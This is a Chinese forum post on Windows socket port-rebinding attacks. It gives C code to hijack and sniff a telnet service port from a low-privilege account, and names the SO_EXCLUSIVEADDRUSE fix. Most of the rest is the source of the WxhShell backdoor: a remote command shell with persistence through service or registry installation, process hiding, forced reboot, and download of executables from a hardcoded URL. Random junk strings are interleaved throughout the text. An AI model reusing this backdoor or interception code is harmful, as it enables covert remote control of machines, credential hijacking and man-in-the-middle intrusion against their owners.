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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _f>)G3p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j8?! J^TC  
sL TQm*jL  
  saddr.sin_family = AF_INET; qycf;Kl:6  
HXdo:#xEO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /u]#dX5  
^oq|^O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [\Aws^fD_  
438r]f?0|{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  4J=6U&b  
JCZ&TK  
  这意味着什么?意味着可以进行如下的攻击: xo ^|d3  
d,meKQ n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6=Q6J  
Ax@7RJ||  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c-.F {~  
"[z/\l8O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q-G8Fo%#,E  
~tW<]l7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  # E8?2]  
+W-b3R:1>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jL 3 *m  
'_K`1&#U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zh?B-"O=5  
-g 9CW[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qOyS8tA.H  
 ++8 Xi1  
  #include r}|)oG,=  
  #include 'f %oL/,  
  #include ^pfM/LQ@  
  #include    8"ZcKxDk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v{1g`E  
  int main() 4>Q] \\Lc  
  { jt3W.^6HO  
  WORD wVersionRequested; XWz~*@ci  
  DWORD ret; 67Tu8I/r  
  WSADATA wsaData; #t# S(A9)  
  BOOL val; e cvZwL  
  SOCKADDR_IN saddr; 9/&1lFKJ  
  SOCKADDR_IN scaddr; RJT55Rv{  
  int err; l9y%@7  
  SOCKET s; :G^4/A_  
  SOCKET sc; b-c6.aKf|  
  int caddsize; y^{ 4}^u-^  
  HANDLE mt; b*nI0/cbR.  
  DWORD tid;   I;$tBgOWq  
  wVersionRequested = MAKEWORD( 2, 2 ); !+ UXu]kA  
  err = WSAStartup( wVersionRequested, &wsaData ); eIP k$j{e  
  if ( err != 0 ) { x< d ew  
  printf("error!WSAStartup failed!\n"); :}SR{}]yXs  
  return -1; %hBw)3;l  
  } %$_?%X0=t  
  saddr.sin_family = AF_INET; vKkvB;F41  
   .Z17X_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ecp0 hG`%  
9/#b1NGv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6,R<8a;Wn  
  saddr.sin_port = htons(23); +}-cvM/*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qX[C%  
  { +$^ [ r  
  printf("error!socket failed!\n"); [R~@#I P!  
  return -1; M&/e*Ta5  
  } hNp.%XnnZ  
  val = TRUE; IeIv k55  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lrMkp@ f.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `soQp2h-  
  { *Hh*!ePp  
  printf("error!setsockopt failed!\n"); hH?ke(&=f  
  return -1; Z3Xgi~c  
  } -fK_F6_\]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZU9RvtbKB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8Tc:TaL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f+c{<fX  
L#_QrR6Sny  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <%`z:G3  
  { P[ Vf$ q<  
  ret=GetLastError(); 7 :u+-U  
  printf("error!bind failed!\n"); yN}<l%  
  return -1; Z>'hNj)ju  
  } MB.LHIo  
  listen(s,2); D sBZ%  
  while(1) t{ridA}  
  { !6s]p%{V  
  caddsize = sizeof(scaddr); !<>`G0  
  //接受连接请求 qMBEJ<o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \5) ZI'q  
  if(sc!=INVALID_SOCKET) xz/G$7q7  
  { mj2sbRiSR=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ck`$ `  
  if(mt==NULL) q1%xk =8  
  { Sa6YqOel@  
  printf("Thread Creat Failed!\n"); "9H#pj -  
  break; JCITIjD7=  
  } CT{ X$N  
  } /Dk`?  
  CloseHandle(mt); LkXF~  
  } 16N`xw+{  
  closesocket(s); sQY0Xys<4  
  WSACleanup(); Bq \WG=Fd  
  return 0; /9C>{29x!  
  }   jATN):8W  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4+0:(=>[%  
  { Qhn>aeW,  
  SOCKET ss = (SOCKET)lpParam; {Hxziyv~Y(  
  SOCKET sc; DTx>^<Tk  
  unsigned char buf[4096]; O@KAh5EB  
  SOCKADDR_IN saddr; A Rjox`  
  long num; IAbH_+7O  
  DWORD val; sVIw'W  
  DWORD ret; \OF"hPq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2wZyUB;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !2]G.|5/A  
  saddr.sin_family = AF_INET; s.@DI|Gnf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Cx`?}A\%  
  saddr.sin_port = htons(23); X]%n#\t,]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %|?PG i@5  
  { x$V[xX  
  printf("error!socket failed!\n"); /57)y_ \  
  return -1; q?Mmkh)g  
  } If.hA}  
  val = 100; cz*Z/5XH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WAh{*$Rpl  
  { @1 )][r-7  
  ret = GetLastError(); <F5x}i~(C  
  return -1; N%QVkuCbM  
  } &#[6a&9#[A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 80O[pf*?  
  { Z <tJ+  
  ret = GetLastError(); V 8J!8=2  
  return -1; ,O"zz7  
  } ;z^C\=om  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ha/-v?E  
  { ?bK^IHh  
  printf("error!socket connect failed!\n"); W6uz G  
  closesocket(sc); ;(9q, )  
  closesocket(ss); UR.l*+<W7  
  return -1; Y- c_ 2 )  
  } C+c;UzbD  
  while(1) =wX(a  
  { W-@}q}A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l8ZzKb-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &]HY:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /*{s1Zcb  
  num = recv(ss,buf,4096,0);  |<1  
  if(num>0) WJ$!W  
  send(sc,buf,num,0); ukRbSJ5a5  
  else if(num==0) "EC,#$e%ev  
  break; rQPV@J]:  
  num = recv(sc,buf,4096,0); L(eLxw e%  
  if(num>0) 4o*wLCo7^  
  send(ss,buf,num,0); !XS ;&s7[*  
  else if(num==0) V@Fj!/  
  break; ;3WVrYe  
  } _kT$/k  
  closesocket(ss); k9?fE  
  closesocket(sc); ^iaG>rvA  
  return 0 ; } ^67HtNQ  
  } Mk@%Wuxg2  
OfGMeN6  
p+ bT{:  
========================================================== =h9&`iwiu  
ns,qj} #  
下边附上一个代码,,WXhSHELL c)OQ_3xOs  
PF?tEw_WB  
========================================================== H[&X${ap  
c:MP^PWc  
#include "stdafx.h" IH1 fvW e  
w qLY \  
#include <stdio.h> 'm,3znX!c  
#include <string.h> #^fDKM  
#include <windows.h> 1zUo.Tg0  
#include <winsock2.h> {  'Db  
#include <winsvc.h> <Sx-Ca7  
#include <urlmon.h> ?oX.$E?(  
J}cqBk>  
#pragma comment (lib, "Ws2_32.lib") o3~ecJ?k  
#pragma comment (lib, "urlmon.lib") Wq1%  
{m/h3hjFa  
#define MAX_USER   100 // 最大客户端连接数 A\7qPfpG  
#define BUF_SOCK   200 // sock buffer *u4h+P  
#define KEY_BUFF   255 // 输入 buffer nT.2HQ((Xg  
+84JvOkWi  
#define REBOOT     0   // 重启 D> |R.{  
#define SHUTDOWN   1   // 关机 - W5ml @  
tz&oe  
#define DEF_PORT   5000 // 监听端口 El$yM.M"  
VnB"0 "%w  
#define REG_LEN     16   // 注册表键长度 E6  2{sA^  
#define SVC_LEN     80   // NT服务名长度 O%.c%)4Xo  
}x^q?;7xW  
// 从dll定义API Q^qdm5}UkW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W9ZfD~(3-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jF}u%T)HL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +&7D ;wj=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {uQp$`  
b3z {FP  
// wxhshell配置信息 $-zt,iRyV  
struct WSCFG { n9}3>~ll  
  int ws_port;         // 监听端口 4]F:QS% x  
  char ws_passstr[REG_LEN]; // 口令 O|opNr  
  int ws_autoins;       // 安装标记, 1=yes 0=no f?OFMac  
  char ws_regname[REG_LEN]; // 注册表键名 A3VXh^y+  
  char ws_svcname[REG_LEN]; // 服务名 $y\\ ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tiI:yq0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bcp+7b(IB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XANPI|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hP1H/=~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x4&<Vr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =@F1J7  
?=X G#we  
}; XN@F6Gj  
=}6yMR!4R<  
// default Wxhshell configuration 6tC0F=  
struct WSCFG wscfg={DEF_PORT, Bw ]Y7 1  
    "xuhuanlingzhe", 6PF7Wl7.  
    1, 66G$5  
    "Wxhshell", =BN_Kvza^6  
    "Wxhshell", UE2!,Z,  
            "WxhShell Service", LZirw'  
    "Wrsky Windows CmdShell Service", YY\$lM  
    "Please Input Your Password: ", dX4"o?KD>  
  1,  \^$g%a  
  "http://www.wrsky.com/wxhshell.exe", Fc{X$hh<  
  "Wxhshell.exe" vN`2KCl~3  
    }; \G+ hi9T(  
T2Q`Ax7  
// 消息定义模块 }pOem}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1'O++j_%y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T) ZO+}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 1b  
char *msg_ws_ext="\n\rExit."; sYQ=nL  
char *msg_ws_end="\n\rQuit."; vhA 4ol  
char *msg_ws_boot="\n\rReboot..."; 0}a="`p#<  
char *msg_ws_poff="\n\rShutdown..."; >h?!6L- d  
char *msg_ws_down="\n\rSave to "; PyOj{WX>W  
n&? --9r  
char *msg_ws_err="\n\rErr!"; D<-MbK^S  
char *msg_ws_ok="\n\rOK!"; j06q3N"  
9~ [Sio~  
char ExeFile[MAX_PATH]; >}& :y{z~  
int nUser = 0; hRU.^Fn#%  
HANDLE handles[MAX_USER]; {tq.c9+!d  
int OsIsNt; 8.9Z0  
tVB9kxtE  
SERVICE_STATUS       serviceStatus; C,2k W`[V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0+\%os V  
%r1NRg8  
// 函数声明 ws!pp\F  
int Install(void); ak :Y<}  
int Uninstall(void); `Bw>0%.  
int DownloadFile(char *sURL, SOCKET wsh); O] T'\6w  
int Boot(int flag); 4CUzp.S`h  
void HideProc(void); 4'Svio  
int GetOsVer(void); ,4O|{Iu#n  
int Wxhshell(SOCKET wsl); fC$Rz#5?  
void TalkWithClient(void *cs); h!k[]bt5  
int CmdShell(SOCKET sock); tZW2TUM]  
int StartFromService(void); f6\`eLGi1  
int StartWxhshell(LPSTR lpCmdLine); I?2S{]!?  
cPFs K*w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p_^Jr*Mv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r#svj*dn  
?pE)K<+Zkf  
// 数据结构和表定义 g4Y1*`}2f  
SERVICE_TABLE_ENTRY DispatchTable[] = m?Tv8-1  
{ ljr?Z,R4  
{wscfg.ws_svcname, NTServiceMain}, %25GplMT  
{NULL, NULL} %\i OX|F_  
}; fVb~j;  
>bwB+-lyL  
// 自我安装 #(i9G^K  
int Install(void) FTVV+9.l:  
{ 0Nvk|uI V[  
  char svExeFile[MAX_PATH]; Bri yy  
  HKEY key; Owe"x2D\  
  strcpy(svExeFile,ExeFile); /2%646  
})v`` +  
// 如果是win9x系统,修改注册表设为自启动 O[$,e%  
if(!OsIsNt) { NNOemTh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AQx:}PO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y@jO#6R  
  RegCloseKey(key); hH&A1vUv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 25 NTtj:X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (qG}`?219J  
  RegCloseKey(key); F.]D\"0`  
  return 0; M<nKk#!+h  
    } ECZ`I Z.  
  } $N;Nvp2  
} `#/0q*$  
else { *H2@lrc  
VLdQXNg9W"  
// 如果是NT以上系统,安装为系统服务 y.iA]Ikz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wFe?0u  
if (schSCManager!=0) Gx&o3^t  
{ QfdATK P  
  SC_HANDLE schService = CreateService Vx gP^*  
  ( (_9u<  
  schSCManager, xtWwz}^8]  
  wscfg.ws_svcname, CyR1.|!@  
  wscfg.ws_svcdisp, ?M<q95pL  
  SERVICE_ALL_ACCESS, 3PLYC}Jq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PVCFh$pnw  
  SERVICE_AUTO_START, q(Q$lRj/I-  
  SERVICE_ERROR_NORMAL, yi29+T7j4S  
  svExeFile, UrMEL; @g  
  NULL, ]!um}8!}  
  NULL, Em<B 9S  
  NULL, |~+i=y  
  NULL, O`M 6 =\  
  NULL [3@Pu.-I+M  
  ); D1ep7ykY  
  if (schService!=0) 43'!<[?x  
  { h4 X=d5qd  
  CloseServiceHandle(schService); _A>?@3La9  
  CloseServiceHandle(schSCManager); k1.h|&JJN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )z" .lw  
  strcat(svExeFile,wscfg.ws_svcname); %X5p\VS\7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mqt$'_M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^MXW,xqb  
  RegCloseKey(key); y#B4m`9  
  return 0; c :d.mkF\  
    } e+TSjm  
  } `X8wnD  
  CloseServiceHandle(schSCManager); /WxCsQn  
} QC,LHt?6  
} M:5K4$>Kx  
}zO>y%eI  
return 1; b] 5i`  
} 6T9?C|q  
85}S8\_u  
// 自我卸载 z]49dCN  
int Uninstall(void) I(5sKU3<  
{ |7$Q'3V  
  HKEY key; q*^m8  
T4JG5  
if(!OsIsNt) { G`oY(2U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BzXTHFMSy  
  RegDeleteValue(key,wscfg.ws_regname); 2+oS'nL  
  RegCloseKey(key); t+l{D#?a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q"Pl)Q\  
  RegDeleteValue(key,wscfg.ws_regname); ] >4CBm$  
  RegCloseKey(key); RSTA!?K/.  
  return 0; |uIgZ|7[  
  } K_Q-9j  
} L!c.1Rf_  
} \z8j6 h  
else { w;wgh`ur  
!r#36kO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f;`7}7C  
if (schSCManager!=0) 2Kmnt(>  
{ .gJv})Vi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~p!=w#/  
  if (schService!=0) 4}r.g0L  
  { cHAq[Ebp2!  
  if(DeleteService(schService)!=0) { N?{.}-Q  
  CloseServiceHandle(schService); 8o  SL3  
  CloseServiceHandle(schSCManager); c!ul9Cw  
  return 0; 1G}\IK1+  
  } x,fX mgE  
  CloseServiceHandle(schService); @TraEBJGL  
  } j9r%OZw{  
  CloseServiceHandle(schSCManager); Q>yO,H|  
} BGrV,h^  
} ] :.  
KX^!t3l6  
return 1; t!&p5wJ*Q  
} n_/;j$h  
5{|tE!  
// 从指定url下载文件 ,GY K3+}Z  
int DownloadFile(char *sURL, SOCKET wsh) [!S%nYs&8L  
{ ($X2SIZh  
  HRESULT hr; m:W+s4!E  
char seps[]= "/"; r]B`\XWz  
char *token; G@4n]c_  
char *file; U:fGIEz{ZY  
char myURL[MAX_PATH]; p;<aZ&@O  
char myFILE[MAX_PATH]; 9TU B3x^  
,ieew`  
strcpy(myURL,sURL); 'h#>@v> }  
  token=strtok(myURL,seps); cR6Rb[9 N  
  while(token!=NULL) qir8RPW  
  { VfT@;B6ALF  
    file=token; QR\2 %}9b  
  token=strtok(NULL,seps); lhBu?q  
  } 3| F\a|N  
P_F0lO  
GetCurrentDirectory(MAX_PATH,myFILE); }Ryrd!3bY  
strcat(myFILE, "\\"); [l*;+N+  
strcat(myFILE, file); APv& ^\oUH  
  send(wsh,myFILE,strlen(myFILE),0); 8FJPw"9  
send(wsh,"...",3,0); 1#lH5|XQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZRP[N)Ld$  
  if(hr==S_OK) _ YcIG OL  
return 0; CTf39R|7_  
else  (2dkmn  
return 1; [N_)V kpr  
jyFKO[s\X  
} m~`f0  
4Jk[X>I~  
// 系统电源模块 o<L=l Q  
int Boot(int flag) _}l7f  
{ X_(n  
  HANDLE hToken; b" kL)DL1L  
  TOKEN_PRIVILEGES tkp; >/9Qgyc 0  
~mvD|$1z  
  if(OsIsNt) { a\xf\$Ym  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DoFF<LXBt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W0LJ Xp-v  
    tkp.PrivilegeCount = 1; |5(un/-C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bmw"-W^U[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ih%LKFT  
if(flag==REBOOT) { ,H@ x.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |6w {%xC?"  
  return 0; bI:cYn1  
} _53N uEM1  
else { wF)g@cw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "q7pkxEuJ  
  return 0; [W8?ww%qT  
} w^)_Fk3  
  } qFwAzW;"  
  else { {KqERS& g  
if(flag==REBOOT) { xF`O ehVA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .tzQ hd>  
  return 0; gezZYP)d  
} BUU ) Sz  
else { WjF#YW\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t}2M8ue(&  
  return 0; f"d4HZD^  
} )'e9(4[V1  
} AxiCpAS;J  
BF(Kaf;<t.  
return 1; S !R:a>\  
} ZnRE:=  
FfibR\dhY  
// win9x进程隐藏模块 ]3~X!(O  
void HideProc(void) Dlx-mm_  
{ =f=,YcRn+  
4/QQX;w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FSyeDC^@  
  if ( hKernel != NULL ) X  m%aT  
  { b)+;@wa~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xi!R[xr1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H >1mi_1  
    FreeLibrary(hKernel); Vf` 9[*j  
  } 'Q4V(.   
=d1i<iw?-  
return; k4BiH5\hA  
} d>jRw  
~w}Zv0  
// 获取操作系统版本 AGgL`sP  
int GetOsVer(void) '-KrneZ!  
{ E@S5|CM  
  OSVERSIONINFO winfo; Bt1 &C?_$T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 82~ZPZG  
  GetVersionEx(&winfo); .> |]Lo(=l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n Y=]KU  
  return 1; = ms o1  
  else D3kx&AR  
  return 0; he1OLk  
} l@nG?l #  
X?Z#k~JR  
// 客户端句柄模块 e!|T Tap  
int Wxhshell(SOCKET wsl) 4I<U5@a  
{  o0Pc^  
  SOCKET wsh; D4W^{/S  
  struct sockaddr_in client; X~5kgq0"  
  DWORD myID; 2=ZZR8v  
K)8N8Js(  
  while(nUser<MAX_USER) <aEY=IF4  
{ `Pe WV[?  
  int nSize=sizeof(client); .~fAcc{Qj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uZ7~E._  
  if(wsh==INVALID_SOCKET) return 1; SSG}'W!z  
Bi|XdS$G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F3V_rE<  
if(handles[nUser]==0) J#tY$PE  
  closesocket(wsh); CkA ~'&C  
else Lv`NS+fX  
  nUser++; 84$#!=v  
  } 8I*WVa$l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *1fZcw'C.  
@ I$;  
  return 0; {=GWQn6cc  
} ^6[o$eY3  
|6}:n,KA.  
// 关闭 socket @(_M\>!%M  
void CloseIt(SOCKET wsh) _laLTP*  
{ t/9,JG  
closesocket(wsh); ".R5K ?  
nUser--; ;'x\L<b/)  
ExitThread(0); G[=8Ko0U+n  
} HX]pcX^K  
\.7O0Q{  
// 客户端请求句柄 CH/*MA  
void TalkWithClient(void *cs) Ni4*V3VB  
{ M)oJ06`K  
xRx8E;Q@h?  
  SOCKET wsh=(SOCKET)cs; yIdM2#`u  
  char pwd[SVC_LEN]; M~1 n#  
  char cmd[KEY_BUFF]; 6s"Erq5q  
char chr[1]; ORo +=2  
int i,j; mVBF2F<4  
'<YVDB&-d,  
  while (nUser < MAX_USER) { ^Q\O8f[u  
K(M@#t1_&  
if(wscfg.ws_passstr) { '"=Mw;p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jGtoc,\X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8}}R~ZO  
  //ZeroMemory(pwd,KEY_BUFF); ]k (n_+!  
      i=0; 6jIW)C  
  while(i<SVC_LEN) { Gv};mkX[N  
}m~2[5q%/  
  // 设置超时 \5wC&|WEB  
  fd_set FdRead; +I?T|Iin  
  struct timeval TimeOut; Hlw0i a  
  FD_ZERO(&FdRead); &@dW d  
  FD_SET(wsh,&FdRead); DfCo=  
  TimeOut.tv_sec=8; #z\{BtK  
  TimeOut.tv_usec=0; 7Lr}Y/1=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); btC.EmX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *WQ}ucE^#  
3??*G8Yp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [akyCb  
  pwd=chr[0]; #egP*{F   
  if(chr[0]==0xd || chr[0]==0xa) { Qhd~4  
  pwd=0; hal3J  
  break; o'3t(dyyH  
  } xpf\S10e  
  i++; A|BvRZd  
    } FshQ OFW  
!Z7 ~R sdm  
  // 如果是非法用户,关闭 socket 1f 0"z1   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _BcYS  
} xi6Fs, 2S  
>Hr0ScmN@"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4=H/-v'&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ")U`Wgx  
 _"ysJ&  
while(1) { g5)f8k0+ t  
T x_n$ &  
  ZeroMemory(cmd,KEY_BUFF); fN8|4  
edPnC {?s  
      // 自动支持客户端 telnet标准   8KpG0DC  
  j=0;  ##7,  
  while(j<KEY_BUFF) { ,=tVa])  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ChLU(IPo6  
  cmd[j]=chr[0]; Q:]F* p2  
  if(chr[0]==0xa || chr[0]==0xd) { ;bd\XHwMUP  
  cmd[j]=0; P X](hc=  
  break; HF wT  
  } ?K7m:Dx  
  j++; U~ SK 'R  
    } 31|Vb  
,vQkvuz  
  // 下载文件 uU`zbh}]L.  
  if(strstr(cmd,"http://")) { Rww"Z=F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5:f}bW*  
  if(DownloadFile(cmd,wsh)) C ,Je>G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]7Q4U  
  else EOV<|WF>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `S Wf)1K  
  } &adKKYN  
  else { 7/(C1II.Q  
T7n;Bf  
    switch(cmd[0]) { L[+65ce%*  
  KoQvC=+WI  
  // 帮助 xYM! mcA  
  case '?': { A 20_a;V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )zt*am;  
    break; jHB,r^:'  
  } W.o W =<  
  // 安装 kaUH#;c>_  
  case 'i': { 0;e>kz3o  
    if(Install()) &&[j/d}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dvsOJj/b  
    else  ~J"*ahl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Q}#x  
    break; O>w $  
    } =bf-+gZD  
  // 卸载 QsI>_<r  
  case 'r': { L4S Fu.J'  
    if(Uninstall()) p=9G)VO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` M"Zq  
    else ? {cF'RB.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5nqj  
    break; ZWmmFKFG.  
    } /5suyM=U  
  // 显示 wxhshell 所在路径 $9*Xfb/  
  case 'p': { KWy4}7a@,s  
    char svExeFile[MAX_PATH]; ngEjbCV+  
    strcpy(svExeFile,"\n\r"); ~|Gtm[9Ru  
      strcat(svExeFile,ExeFile); SLz^Wg._  
        send(wsh,svExeFile,strlen(svExeFile),0);  V '^s5  
    break; (sO;etW  
    } <JYV G9s}  
  // 重启 ]t7<$L   
  case 'b': { ) #Y*]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X,x{!  
    if(Boot(REBOOT)) ZxbWgM5rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %S.R@C[3  
    else { $+S'Boo   
    closesocket(wsh); Aq QArSu,  
    ExitThread(0); 3boINmX  
    } J h M.P9  
    break; .\{GU9|nO  
